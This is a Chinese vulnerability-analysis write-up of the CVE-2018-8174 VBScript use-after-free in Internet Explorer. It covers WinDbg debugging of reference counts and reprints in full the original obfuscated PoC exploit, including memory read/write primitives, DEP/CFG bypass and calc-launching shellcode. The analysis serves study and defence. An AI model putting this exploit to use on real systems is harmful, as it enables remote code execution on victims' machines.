CVE-2018-8174——UAF漏洞

 

一、 前言

CVE-2018-8174漏洞在当时影响最新版本的IE浏览器以及使用了IE内核的应用程序。用户在浏览网页或者打开Office文档的时候都可能中招。该漏洞的核心就是UAF,也算是大家比较熟悉的一种漏洞,本次实验就是为了对该漏洞进行详细分析理解,并详细分析记录复现过程,供大家相互交流学习。

 

二、 实验目标

1 .漏洞实例简介

CVE-2018-8174是2018年4月份由360团队在一起APT攻击中捕获的0day,实际攻击样本中该漏洞结合CVE-2017-0199(一个关于office ole相关的逻辑漏洞)实现远程代码访问执行,360将该漏洞命名为“双杀”漏洞。该漏洞存在于VBsCript引擎中,VbsCript在释放相关对象时对引用计数问题处理不善,当我们构造特定的对象引用即有可能借助该漏洞实现释放内存空间的访问,即UAF利用。这次实验就是为了从漏洞本身入手,熟练掌握windbg的使用以及深入理解该漏洞的利用技巧并且对VBS虚拟机脚本解释机制进行一定程度的刺探。

2 逆向目标

本次实验的主要目的就是为了介绍UAF漏洞本身的成因,尝试浮现还原整个利用攻击过程以及最后的调试分析CVE-2018-8174漏洞的成因和POC代码的验证。

3 漏洞基本原理

在介绍漏洞的原理前我们先来通过一段C++代码制造的悬垂指针来理解一下UAF,代码如下:

在指针p1被释放后,却仍然可以执行已经被释放的内存,而且在 free 了 p1 之后再次申请同样大小空间,操作系统会将刚刚 free 了的内存重新分配。

并且可以通过p2操作p1,那么如果再次使用p1,则可以通过p2修改程序功能等目的。p1就叫做悬垂指针,UAF会造成内存破坏的原因就是使用了悬垂指针。

在理解了上面的悬垂指针后再看在vbs中的悬垂指针是怎样的,用一个根据原始 PoC 修改的造成悬垂指针的脚本来理解一下:

如上图,在UAF函数中,Set array_a(1)=New Trigger 是创建了一个 Trigger 实例给数组array_a,Erase array_a 在析构 array_a 中的元素时,会调用 Trigger 的重载的析构函数;在此函数中先增加了一个 array_b(0) 对 Trigger 实例的引用(Trigger实例引用计数+1),又通过 array_a(1)=1 删除 array_a(1) 对 Trigger 实例的引用,(Trigger的实例引用计数减1)来平衡引用计数后,才会彻底释放 Trigger 实例;但是此时 array_b(0) 仍然保留着这个类的引用,然后在 TriggerVuln 函数中,array_b(0)=0对 array_b(0) 进行访问时造成了触发漏洞,此时 array_b(0) 就叫做悬垂指针。

4 漏洞分析与验证的方法

对于漏洞的分析,是根据原始的POC仿造写了一个造成悬垂指针的脚本来进行分析,对于漏洞的验证则是通过仿写脚本的调试以及结合vbscript的IDA逆向分析的结合,最终产生一个浏览器崩溃的效果。

 

三、实验环境

1 工具

Windbg

2 环境

Win7、kali

 

四、 实验过程

1 漏洞复现

打开本地的CVE-2018-8174_PoC.html,可以发现触发了shellcode并且弹出了计算器:

2 逆向分析

漏洞的基本原理在上面已经讲过了,下面我们就直接用windbg进行调试。

先在windbg所在文件夹开启hpa页堆调试和ust栈回溯选项:

先不做任何断点来直接看一下IE的崩溃现场:

这表明访问了已经释放的内存导致奔溃,用!heap -p -a eax看一下:

可以看到对象所在的内存已经被释放了。

同时我们通过IDA逆向vbscript.dll看一下VBScriptClass::Release函数中的逻辑:

基本上每行有用的伪代码后面我都做了详细的注释,这里也就不细讲了,接下来直接用windbg进行漏洞的溯源。

首先给windbg中下断点:

bu vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";

bu vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";

bu vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

bu vbscript!VbsIsEmpty

在按下g让程序运行以后,程序会断在我们脚本中设计的IsEmpty处:

我们可以看到Trigger对象创建在了61ff98的地方。

我们可以用dd命令看一下对象地址相对应的内容:

02指的就是引用计数,00469b8c存放的就是类的名字“Trigger”。下面是从网上找的VBscriptClass类结构图:

以上是通过在Create函数的地方下断点的方式来输出类的地址,下面就通过vbscript!VbsIsEmpty断点追溯到类的地址。

0:005> dd 61ff98

0061ff98  6dd41748 00000002 0061e6b0 0061d098

0061ffa8  00000850 00000000 00000000 01d4b41c

0061ffb8  00000000 00469b8c 00000000 00000000

0061ffc8  00000000 00000000 171305bb 0800218f

0061ffd8  01d4a428 00000001 111305bd 03002185

0061ffe8  00000000 00000000 00610038 00610038

0061fff8  00620000 00000000 000100ae 01000000

00620008  ffeeffee 00000001 fea000a8 fea000a8

0:005> dd poi(esp+c)

0061fe18  0000004a 000007ff 01d4b3f8 02000002 //01d4b3f8是数据结构地址

0061fe28  00610000 01d49828 00000001 00000000

0061fe38  0239cf68 0061fe58 01d489fc 00000001

0061fe48  00000000 00000141 00000148 01d48854

0061fe58  0239d1ac 0061fe98 00000001 00000000

0061fe68  0000400c 00000000 0061e548 00000000

0061fe78  0000400c 00000000 0061e508 00000000

0061fe88  00000000 0000000b 00000195 00000013

0:005> dd 1d4b3f8 l8

01d4b3f8  0000200c 000007ff 0046a4b0 02000002 //200c这两个字节表示的是VBScript变量类型,表示的是SAFEARRAY类型,ARRAY在046a4b0存放

01d4b408  00000000 00000000 3713059b 0c0121e1

0:005> dd 46a4b0

0046a4b0  08800001 00000010 00000000 004a5ba0//4a5ba0为array_a数据元素地址

+0x000 cDims      : 1       //cDims表示维数

  +0x002 fFeatures    : 0x880

  +0x004 cbElements    : 0x10

  +0x008 cLocks      : 0

  +0x00c pvData      : 004a5ba0 Void    //array_a数据元素地址

  +0x010 rgsabound    : [1] tagSAFEARRAYBOUND



0046a4c0  00000002 00000000 2ad0008a 80000000

0046a4d0  6a6a0050 00000000 6a327be0 0046c390

0046a4e0  6a333ce0 00000000 00000000 00000000

0046a4f0  00000000 00000000 2ad0008c 80000000

0046a500  00000056 00000000 00000000 00000000

0046a510  00000000 00000000 00000000 00000000

0046a520  00000000 00000000 2ad000b6 80000000

0:005> dd 4a5ba0

004a5ba0  00000000 00000000 00000000 00000000 //array_a(0)没有定义

004a5bb0  00000009 00000132 0061ff98 00000001 //array_a(1)type==0x9表示是一个object,值为0061ff98,这也是我们通过create断点得到的值,即类对象的地址

004a5bc0  2ad1908b 88000000 00000000 0046a328

004a5bd0  004a5d38 004a5a68 00000000 00000000

004a5be0  00000000 00000000 2ad1908e 88000000

004a5bf0  00000000 6dd9aa60 004a5c98 004a5c48

004a5c00  00000000 00000000 00000000 00000000

004a5c10  2ad19071 88000000 00000000 0040497c

接下来就执行到了第二个断点,即析构函数中的ISEmpty的时候(在Erase array_a的时候,会触发Class_Terminate析构函数),此时Set array_b(0)=array_a(1)已执行:

Breakpoint 3 hit

eax=6dd4185c ebx=0239c938 ecx=6dd9a9d8 edx=0239c8b0 esi=01d4a574 edi=00000001

eip=6dd5c206 esp=0239c7cc ebp=0239c7dc iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0061fde8  01d4600c 0061ff10 0061e554 00433018 //data buffer在00433018

0061fdf8  00000000 00000132 0061ff98 00000001

0061fe08  0239cd24 0061fe38 00610001 0000002b

0061fe18  0000400c 000007ff 0061e508 02000002

0061fe28  00610000 01d49828 00000001 00000000

0061fe38  0239cf68 0061fe58 01d489fc 00000001

0061fe48  00000000 00000141 00000148 01d48854

0061fe58  0239d1ac 0061fe98 00000001 00000000

0:005> dd 433018  //safearray结构

00433018  08920001 00000010 00000000 004a5f88

00433028  00000002 00000000 2ad63fad 8a000000

00433038  00420056 00530020 00720063 00700069

00433048  00200074 0061004c 0067006e 00610075

00433058  00650067 00000000 2ad63fa7 88000000

00433068  6a6acaf0 00000001 6a327be0 0044fa28

00433078  6a2c4320 0044fa28 6a322028 00000001

00433088  00000005 00000000 2ad63fb9 88000000

0:005> dd 4a5f88

004a5f88  00000009 00000132 0061ff98 00000001 //类型还是0x09,array_b(0)中此时保存着类对象地址

004a5f98  00000000 00000000 00000000 00000000

004a5fa8  2ad19006 80000000 000001b0 00000000

004a5fb8  00000000 00000000 00000000 00000000

004a5fc8  00000000 00000000 2ad19009 80000000

004a5fd8  000001b5 00000000 00000004 00008a0c

004a5fe8  003c0090 003c0090 003c0038 003c0038

004a5ff8  2ad1900c 8000a000 000001ba 00000000

0:005> dd 61ff98 //类对象地址

0061ff98  6dd41748 00000004 0061e6b0 0061d098

0061ffa8  00000850 00000000 00000000 01d4b41c

0061ffb8  00000001 00469b8c 00000000 00000000

0061ffc8  00000000 00000000 171305bb 0800218f

0061ffd8  01d4a428 00000001 111305bd 03002185

0061ffe8  00000000 00000000 00610038 00610038

0061fff8  00620000 00000000 000100ae 01000000

00620008  ffeeffee 00000001 fea000a8 fea000a8

0:005> du 469b8c //类名称

00469b8c  "Trigger"

再然后就是第三次断点,此时Erase已经执行完毕,可以看到已经到了漏洞点:

在上面我们可以发现显然有些地方出现了错误,明明 array_b 还保留着对 Trigger Object引用的时候,Trigger Object却随着 Erase array_a被释放了。我们来看看错误的地方:

在IDA里面查看过 VBScriptClass::Release的伪代码,以及上面的调试后,我们猜测在脚本中的重载的析构函数中,Set array_b(0)=array_a(1)这句是否有对Class Trigger的引用计数进行操作:

接下来通过windbg调试进行验证,首先在以下位置下断点:

bu vbscript!VbsErase

bu vbscript!VBScriptClass::Release

bu vbscript!VbsIsEmpty

bu  vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g"

前面的几次 Release 不用看,一直到VbsErase后面的release的时候单步调试

(此时在调试日志中,类对象地址已经被bu vbscript!VBScriptClass::Create+0x55 “.printf \”Class %mu created at %x\n\”, poi(@esi + 0x24), @esi; g”; 打印出来了,或者运行到 release 的时候的esp +8也是类对象地址)

0:013> g

ModLoad: 6eb30000 6eb9b000  C:\Windows\system32\vbscript.dll

Class Trigger created at 412f58

Breakpoint 1 hit

eax=00412f58 ebx=0247cf90 ecx=6eb31748 edx=00000002 esi=00000000 edi=0041fe20

eip=6eb41ef3 esp=0247ce48 ebp=0247cf38 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000000 esi=0214b3f8 edi=00000009

eip=6eb41ef3 esp=0247cdfc ebp=0247ce0c iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000320 ecx=6eb31748 edx=00000002 esi=0214b3f8 edi=00000009

eip=6eb41ef3 esp=0247d040 ebp=0247d050 iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 2 hit

eax=6eb3185c ebx=0247d1d4 ecx=6eb8a9d8 edx=0247d14c esi=0214a574 edi=00000001

eip=6eb4c206 esp=0247d068 ebp=0247d078 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6eb4c206 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001dde30 edi=00000009

eip=6eb41ef3 esp=0247cfb0 ebp=0247cfc0 iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> g

Breakpoint 0 hit

eax=6eb3185c ebx=0247d1d4 ecx=6eb8a5bc edx=0247d14c esi=0214a5d4 edi=00000001

eip=6eb82628 esp=0247d068 ebp=0247d078 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsErase:

6eb82628 8bff       mov   edi,edi

0:005> g

Breakpoint 1 hit

eax=00412f58 ebx=00000020 ecx=6eb31748 edx=00000000 esi=001ddde0 edi=00000009

eip=6eb41ef3 esp=0247cfcc ebp=0247cfdc iopl=0     nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000202

vbscript!VBScriptClass::Release:

6eb41ef3 8bff       mov   edi,edi

0:005> dd 412f58

00412f58  6eb31748 00000001 0041d1c0 0041e1c8 //此时的引用计数是1,this指针指向0x30大小的Trigger对象结构

00412f68  0000087c 00000000 00000000 0041d3e4

00412f78  00000000 00188034 00000000 00000000

00412f88  0a7a72ca 00001341 0041df30 004100c4

00412f98  4e7b738e 0a001344 0041302c 0041306a

00412fa8  004130b4 00413116 00413150 00413198

00412fb8  004131c0 004131da 00413202 00413252

00412fc8  0041328e 004132bc 004132d8 00413450

再然后单步调试到:

b41efc 56        push   esi

6eb41efd 8b35e412b36e   mov   esi,dword ptr [vbscript!_imp__InterlockedDecrement (6eb312e4)]

6eb41f03 57        push   edi //edi中保存的便是object的引用计数

6eb41f04 8d7b04      lea   edi,[ebx+4]

6eb41f07 57        push   edi

6eb41f08 ffd6       call   esi

6eb41f0a 894508      mov   dword ptr [ebp+8],eax

6eb41f0d 85c0       test   eax,eax //判断引用计数是否为零

6eb41f0f 0f84d8210000   je    vbscript!VBScriptClass::Release+0x1e (6eb440ed) //为零则进入Release+0x1e,调用析构函数

6eb41f15 8b4508      mov   eax,dword ptr [ebp+8]

6eb41f18 5f        pop   edi

之后的调试:

6eb440ed 57        push   edi

6eb440ee ff15e812b36e   call   dword ptr [vbscript!_imp__InterlockedIncrement (6eb312e8)]

6eb440f4 8bcb       mov   ecx,ebx

6eb440f6 e829000000    call   vbscript!VBScriptClass::TerminateClass (6eb44124) //在进入TerminateClass前引用计数为1

6eb440fb 57        push   edi //在进入TerminateClass后引用计数还是为1



6eb440fc ffd6       call   esi

6eb440fe 894508      mov   dword ptr [ebp+8],eax

6eb44101 85c0       test   eax,eax

6eb44103 0f850cdeffff   jne   vbscript!VBScriptClass::Release+0x43 (6eb41f15)

6eb44109 85db       test   ebx,ebx

6eb4410b 0f8404deffff   je    vbscript!VBScriptClass::Release+0x43 (6eb41f15)

问题就出现在它没有因为Set array_b(0)=array_a(1),而增加类对象的引用计数,造成了在类对象被释放后array_b(0)仍然指向那个类对象地址,而造成了悬垂指针。

最终看来,此漏洞就是存在于release 函数中,如果在自定义的脚本中重载了析构函数,在这个函数中操作了类的引用计数(UAF),而release函数不能正确的判断类的引用计数造成而去析构了这个类,但是仍然指向这个类的指针就变成了悬垂指针,后面通过这个悬垂指针进行一些操作来达到任意读写的目的。

3 POC代码及验证

在这里先把原始POC放出来:

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="x-ua-compatible" content="IE=10">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-control" content="no-cache">
<meta http-equiv="Cache" content="no-cache">
</head>

<body>
<script language="vbscript">

Dim lIIl
Dim IIIlI(6),IllII(6)
Dim IllI
Dim IIllI(40)
Dim lIlIIl,lIIIll
Dim IlII
Dim llll,IIIIl
Dim llllIl,IlIIII
Dim NtContinueAddr,VirtualProtectAddr


IlII=195948557
lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
IllI=195890093

Function IIIII(Domain) 
    lIlII=0
    IllllI=0
    IIlIIl=0
    Id=CLng(Rnd*1000000)
    lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99)
    If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then
        lIlII=lIlII-(&h86d+6447-&H219b)
    End If

    IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255)
    IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e)
    IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII

End Function


Function lIIII(ByVal lIlIl)

    IIll=""
    For index=0 To Len(lIlIl)-1
        IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2)
    Next

    IIll=IIll &"00"
    If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then
        IIll=IIll &"00"
    End If

    For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4)
        lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3))
        lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504))

        lIIII=lIIII &"%u" &lIlIll &lIIIlI
    Next

End Function

Function lIlI(ByVal Number,ByVal Length)
    IIII=Hex(Number)
    If Len(IIII)<Length Then
        IIII=String(Length-Len(IIII),"0") &IIII   'pad allign with zeros 
    Else
        IIII=Right(IIII,Length)
    End If
    lIlI=IIII
End Function

Function GetUint32(lIII)
    Dim value
    llll.mem(IlII+8)=lIII+4
    llll.mem(IlII)=8        'type string
    value=llll.P0123456789

    llll.mem(IlII)=2
    GetUint32=value

End Function

Function IllIIl(lIII)

    IllIIl=GetUint32(lIII) And (131071-65536)

End Function

Function lllII(lIII)

    lllII=GetUint32(lIII)  And (&h17eb+1312-&H1c0c)

End Function

Sub llllll

End Sub

Function GetMemValue

    llll.mem(IlII)=(&h713+3616-&H1530)

    GetMemValue=llll.mem(IlII+(&h169c+712-&H195c))

End Function

Sub SetMemValue(ByRef IlIIIl)

    llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl

End Sub

Function LeakVBAddr

    On Error Resume Next

    Dim lllll
    lllll=llllll
    lllll=null
    SetMemValue lllll

    LeakVBAddr=GetMemValue()

End Function

Function GetBaseByDOSmodeSearch(IllIll)

    Dim llIl
    llIl=IllIll And &hffff0000
    Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692

        llIl=llIl-65536
    Loop
    GetBaseByDOSmodeSearch=llIl

End Function

Function StrCompWrapper(lIII,llIlIl)

    Dim lIIlI,IIIl
    lIIlI=""

    For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835)
        lIIlI=lIIlI &Chr(lllII(lIII+IIIl))
    Next

    StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl))

End Function

Function GetBaseFromImport(base_address,name_input)

    Dim import_rva,nt_header,descriptor,import_dir
    Dim IIIIII

    nt_header=GetUint32(base_address+(&h3c))
    import_rva=GetUint32(base_address+nt_header+&h80)
    import_dir=base_address+import_rva
    descriptor=0

    Do While True

        Dim Name

        Name=GetUint32(import_dir+descriptor*(&h14)+&hc)

        If Name=0 Then
            GetBaseFromImport=&hBAAD0000
            Exit Function
        Else

            If StrCompWrapper(base_address+Name,name_input)=0 Then
                Exit Do
            End If

        End If
        descriptor=descriptor+1

    Loop

    IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10)
    GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII))
End Function



Function GetProcAddr(dll_base,name)

    Dim p,export_dir,index
    Dim function_rvas,function_names,function_ordin
    Dim Illlll

    p=GetUint32(dll_base+&h3c)
    p=GetUint32(dll_base+p+&h78)
    export_dir=dll_base+p



    function_rvas=dll_base+GetUint32(export_dir+&h1c)
    function_names=dll_base+GetUint32(export_dir+&h20)
    function_ordin=dll_base+GetUint32(export_dir+&h24)

    index=0

    Do While True
        Dim lllI
        lllI=GetUint32(function_names+index*4)
        If StrCompWrapper(dll_base+lllI,name)=0 Then
            Exit Do

        End If

        index=index+1

    Loop

    Illlll=IllIIl(function_ordin+index*2)
    p=GetUint32(function_rvas+Illlll*4)
    GetProcAddr=dll_base+p

End Function



Function GetShellcode()

    IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII("")))

    IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))

    GetShellcode=IIlI

End Function

Function EscapeAddress(ByVal value)

    Dim High,Low
    High=lIlI((value And &hffff0000)/&h10000,4)
    Low=lIlI(value And &hffff,4)
    EscapeAddress=Unescape("%u" &Low &"%u" &High)

End Function

Function lIllIl

    Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI
    IlllI=lIlI(NtContinueAddr,8)
    IlIII=Mid(IlllI,1,2)
    llllI=Mid(IlllI,3,2)
    llIII=Mid(IlllI,5,2)
    lIllI=Mid(IlllI,7,2)

    IIlI=""

    IIlI=IIlI &"%u0000%u" &lIllI &"00"
    For IIIl=1 To 3
        IIlI=IIlI &"%u" &llllI &llIII
        IIlI=IIlI &"%u" &lIllI &IlIII
    Next

    IIlI=IIlI &"%u" &llllI &llIII
    IIlI=IIlI &"%u00" &IlIII

    lIllIl=Unescape(IIlI)

End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

    Dim IIlI

    IIlI=String((100334-65536),Unescape("%u4141"))
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam)
    IIlI=IIlI &EscapeAddress(&h3000)
    IIlI=IIlI &EscapeAddress(&h40)
    IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8)
    IIlI=IIlI &String(6,Unescape("%u4242"))
    IIlI=IIlI &lIllIl()
    IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141"))

    WrapShellcodeWithNtContinueContext=IIlI

End Function

Function ExpandWithVirtualProtect(lIlll)

    Dim IIlI
    Dim lllllI
    lllllI=lIlll+&h23
    IIlI=""
    IIlI=IIlI &EscapeAddress(lllllI)
    IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141"))
    IIlI=IIlI &EscapeAddress(VirtualProtectAddr)
    IIlI=IIlI &EscapeAddress(&h1b)
    IIlI=IIlI &EscapeAddress(0)
    IIlI=IIlI &EscapeAddress(lIlll)
    IIlI=IIlI &EscapeAddress(&h23)
    IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343"))

    ExpandWithVirtualProtect=IIlI

End Function

Sub ExecuteShellcode

    llll.mem(IlII)=&h4d 'DEP bypass
    llll.mem(IlII+8)=0

  msgbox(IlII)        'VT replaced

End Sub


Class cla1

Private Sub Class_Terminate()

    Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8))
    IllI=IllI+(&h14b5+2725-&H1f59)
    lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d)

End Sub


End Class


Class cla2

Private Sub Class_Terminate()

    Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a))
    IllI=IllI+(&h880+542-&Ha9d)
    lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857)

End Sub

End Class



Class IIIlIl

End Class



Class llIIl

Dim mem

Function P

End Function

Function SetProp(Value)
    mem=Value
    SetProp=0

End Function

End Class



Class IIIlll

Dim mem

Function P0123456789

    P0123456789=LenB(mem(IlII+8))

End Function

Function SPP

End Function

End Class



Class lllIIl

Public Default Property Get P

Dim llII

P=174088534690791e-324
For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c)
    IIIlI(IIIl)=(&h2176+711-&H243d)

Next

Set llII=New IIIlll
llII.mem=lIlIIl

For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c)
    Set IIIlI(IIIl)=llII
Next

End Property

End Class



Class llllII

Public Default Property Get P

Dim llII

P=636598737289582e-328

For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84)

    IllII(IIIl)=(&h442+2598-&He68)

Next

Set llII=New IIIlll

llII.mem=lIIIll

For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b)

    Set IllII(IIIl)=llII

Next

End Property

End Class



Set llllIl=New lllIIl

Set IlIIII=New llllII

Sub UAF

    For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233)

        Set IIllI(IIIl)=New IIIlIl

    Next

    For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed)

        Set IIllI(IIIl)=New llIIl

    Next

    IllI=0

    For IIIl=0 To 6

        ReDim lIIl(1)

        Set lIIl(1)=New cla1

        Erase lIIl

    Next

    Set llll=New llIIl

    IllI=0

    For IIIl=0 To 6

        ReDim lIIl(1)

        Set lIIl(1)=New cla2

        Erase lIIl

    Next

    Set IIIIl=New llIIl

End Sub

Sub InitObjects

    llll.SetProp(llllIl)
    IIIIl.SetProp(IlIIII)
    IlII=IIIIl.mem

End Sub


Sub StartExploit

    UAF

    InitObjects

    vb_adrr=LeakVBAddr()
    vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr))

    msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll")
    krb_base=GetBaseFromImport(msv_base,"kernelbase.dll")
    ntd_base=GetBaseFromImport(msv_base,"ntdll.dll")

    VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect")
    NtContinueAddr=GetProcAddr(ntd_base,"NtContinue")

    SetMemValue GetShellcode()
    ShellcodeAddr=GetMemValue()+8
    SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

    lIlll=GetMemValue()+69596
    SetMemValue ExpandWithVirtualProtect(lIlll)
    llIIll=GetMemValue()
    Alert "Executing Shellcode"

    ExecuteShellcode

End Sub

StartExploit

</script>

</body>

</html>

可以看到原始的POC在变量名和数据计算中存在大量的混淆,下面我们会对比较关键的函数进行还原。

首先就是分析PoC中的UAF函数:

'申请空间,占位

Sub UAF
    Alert "UAF"

  For i=0 To 19
    Set array(i)=New Foo            '占据系统堆碎片
  Next

  For i=20 To 39
    Set array(i)=New cla4 '占据系统堆碎片
  Next



  spec_int_2=0

  For i=0 To 6
    ReDim array_a(1) 
    Set array_a(1)=New Trigger
    Erase array_a 'array_b保存了对已经释放的Trigger obj的引用
  Next


  IsEmpty(array_b) '引用计数为0时为什么没有调用release 完全释放类对象


  Set cla4_obj1=New cla4 '同时 cla4_obj1 对它占位
  IsEmpty(cla4_obj1)


  spec_int_2=0
  For i=0 To 6
    ReDim array_a(1)
    Set array_a(1)=New cla2 'array_c保存了对已经释放的 cla2 obj 的引用
    Erase array_a 
  Next

  IsEmpty(array_c)
  Set cla4_obj2=New cla4 '同时 cla4_obj2 对它占位
  IsEmpty(cla4_obj2)

End Sub

第一次的IsEmpty断点,参数为array_b:

Breakpoint 0 hit

eax=6dd4185c ebx=0257d04c ecx=6dd9a9d8 edx=0257cfc4 esi=01d75424 edi=00000001

eip=6dd5c206 esp=0257cee0 ebp=0257cef0 iopl=0     nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000       efl=00000246

vbscript!VbsIsEmpty:

6dd5c206 8bff       mov   edi,edi

0:005> dd poi(esp+c)

0049ec10  0000600c 00000000 01d811e8 002e1ef0 //2e1efo是array_b的data buffer

0049ec20  02570002 0049df00 00490013 0257cea8

0049ec30  02570002 0049df00 00490001 0257cea8

0049ec40  6dd40002 0257cee4 02570027 0049df00

0049ec50  6dd40002 0257cee4 02570001 0049df00

0049ec60  6dd40002 0257cee4 02570006 0049df00

0049ec70  6dd40002 0257cee4 02570001 0049df00

0049ec80  00000000 00000000 00000000 00000000

0:005> dd 2e1ef0

002e1ef0  08920001 00000010 00000000 0031b348 // 0031b348是array_b数据元素地址

002e1f00  00000007 00000000 1f784f23 88000000

002e1f10  67ef2010 00000003 00000008 00000000

002e1f20  00000000 002d8f40 00000052 80006200

002e1f30  00000004 002c1b30 1f784f25 8800f812

002e1f40  73a8c9c4 00000001 002ba2d0 ffffffff

002e1f50  00000000 00000000 00000000 00000000

002e1f60  02000001 73a8bec4 1f784f2f 80000848

0:005> dd 31b348

0031b348  00000009 00000000 01d82388 00000000 //01d82388是类对象地址

0031b358  6dd40009 01d8238c 01d82388 6dd44211

